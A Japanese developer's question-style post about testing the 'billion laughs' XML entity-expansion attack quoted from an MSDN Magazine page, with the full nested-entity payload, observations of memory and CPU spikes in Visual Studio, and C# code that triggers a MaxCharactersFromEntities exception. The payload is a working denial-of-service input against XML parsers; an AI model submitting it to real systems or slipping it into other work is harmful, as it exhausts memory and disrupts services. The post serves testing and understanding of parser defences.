MSDN マガジン ページの XML コードをテストしようとしています。このページでは、次のコード行により、処理時にメモリ使用量が最大 3 GB 増加すると書かれています。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
そのテキストを Visual Studio の xml ファイルに貼り付けようとすると、実際にメモリと CPU 使用率が増加しました。ただし、XML ファイルの代わりにテキスト ファイルに入れて c# を使用して読み込もうとしても、何の影響もありませんでした。
更新: LoadXml メソッドが影響を与えるはずだと思っていましたが、それは処理部分ではないと思います。MaxCharactersFromEntities
最初の子を取得しようとしたとき (つまり c#)、超過したことを示す例外がスローされました。
更新:ここにも私のコードがあります:
using System;
using System.Xml;
namespace BillionLaughsAttack
{
class Program
{
//The file containing the billion laughs mentioned previously
//a txt file: Since an xml file causes visual studio to parse
static String xmlFileLocation = "./MyData/DeepXML.txt";
static void Main(string[] args)
{
String xmlContent = null;
System.IO.StreamReader sr;
System.Xml.XmlDocument document = new XmlDocument();
try
{
sr = new System.IO.StreamReader(xmlFileLocation);
xmlContent = sr.ReadToEnd();
//Load xml containing Billion Laughs Attack (this won't do anything!)
document.LoadXml(xmlContent);
//Proces xml by getting first child (this will cause an exception!)
String val = document.FirstChild.Value;
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
}